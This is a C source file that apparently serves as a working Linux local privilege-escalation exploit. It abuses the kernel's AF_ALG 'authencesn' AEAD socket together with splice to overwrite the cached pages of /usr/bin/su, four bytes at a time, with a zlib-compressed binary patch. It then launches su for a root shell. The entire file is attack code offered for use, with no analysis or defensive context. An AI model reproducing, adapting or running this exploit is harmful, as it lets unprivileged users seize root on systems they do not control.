#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <sys/uio.h>
#include <zlib.h>

#define SOL_ALG 279

void exploit_chunk(int fd, size_t offset, unsigned char *chunk) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type = "aead",
        .salg_name = "authencesn(hmac(sha256),cbc(aes))"
    };
    
    int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(sock, (struct sockaddr*)&sa, sizeof(sa));
    
    // Key: 0800010000000010 + 64 zeros
    unsigned char key[40] = {0x08,0x00,0x01,0x00,0x00,0x00,0x00,0x10};
    setsockopt(sock, SOL_ALG, 1, key, sizeof(key));
    setsockopt(sock, SOL_ALG, 5, NULL, 4);
    
    int opfd = accept(sock, NULL, 0);
    
    // Prepare payload
    unsigned char payload[8];
    memcpy(payload, "AAAA", 4);
    memcpy(payload + 4, chunk, 4);
    
    struct iovec iov = { .iov_base = payload, .iov_len = 8 };
    
    // Control messages
    char control[CMSG_SPACE(4) + CMSG_SPACE(20) + CMSG_SPACE(4)];
    struct msghdr msg = {
        .msg_iov = &iov,
        .msg_iovlen = 1,
        .msg_control = control,
        .msg_controllen = sizeof(control)
    };
    
    unsigned char zero[20] = {0};
    struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
    
    // ALG_SET_OP
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = 3;
    cmsg->cmsg_len = CMSG_LEN(4);
    memcpy(CMSG_DATA(cmsg), zero, 4);
    
    // ALG_SET_IV
    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = 2;
    cmsg->cmsg_len = CMSG_LEN(20);
    unsigned char *iv = CMSG_DATA(cmsg);
    iv[0] = 0x10;
    memcpy(iv + 1, zero, 19);
    
    // ALG_SET_AEAD_ASSOCLEN
    cmsg = CMSG_NXTHDR(&msg, cmsg);
    cmsg->cmsg_level = SOL_ALG;
    cmsg->cmsg_type = 4;
    cmsg->cmsg_len = CMSG_LEN(4);
    unsigned char assoc[4] = {0x08, 0x00, 0x00, 0x00};
    memcpy(CMSG_DATA(cmsg), assoc, 4);
    
    sendmsg(opfd, &msg, 32768);
    
    // Pipe + splice
    int pipefd[2];
    pipe(pipefd);
    
    off_t off = 0;
    splice(fd, &off, pipefd[1], NULL, offset + 4, 0);
    splice(pipefd[0], NULL, opfd, NULL, offset + 4, 0);
    
    // Try recv (will fail)
    char discard[8192];
    recv(opfd, discard, 8 + offset, MSG_DONTWAIT);
    
    close(pipefd[0]);
    close(pipefd[1]);
    close(opfd);
    close(sock);
}

int main() {
    // Decompress patch
    unsigned char compressed[] = {
        0x78,0xda,0xab,0x77,0xf5,0x71,0x63,0x62,0x64,0x64,0x80,0x01,0x26,0x06,0x3b,0x06,
        0x10,0xaf,0x82,0xc1,0x01,0xcc,0x77,0x60,0xc0,0x04,0x0e,0x0c,0x16,0x0c,0x30,0x1d,
        0x20,0x9a,0x15,0x4d,0x16,0x99,0x9e,0x07,0xe5,0xc1,0x68,0x06,0x01,0x08,0x65,0x78,
        0xc0,0xf0,0xff,0x86,0x4c,0x7e,0x56,0x8f,0x5e,0x5b,0x7e,0x10,0xf7,0x5b,0x96,0x75,
        0xc4,0x4c,0x7e,0x56,0xc3,0xff,0x59,0x36,0x11,0xfc,0xac,0xfa,0x49,0x99,0x79,0xfa,
        0xc5,0x19,0x0c,0x0c,0x0c,0x00,0x32,0xc3,0x10,0xd3
    };
    
    unsigned char patch[256];
    uLongf patch_len = sizeof(patch);
    
    if (uncompress(patch, &patch_len, compressed, sizeof(compressed)) != Z_OK) {
        fprintf(stderr, "Decompression failed\n");
        return 1;
    }
    
    printf("[*] Decompressed patch: %lu bytes\n", patch_len);
    
    int fd = open("/usr/bin/su", O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    
    printf("[*] Patching /usr/bin/su...\n");
    for (size_t i = 0; i < patch_len; i += 4) {
        exploit_chunk(fd, i, patch + i);
    }
    
    close(fd);
    
    printf("[*] Launching su...\n");
    system("su");
    
    return 0;
}
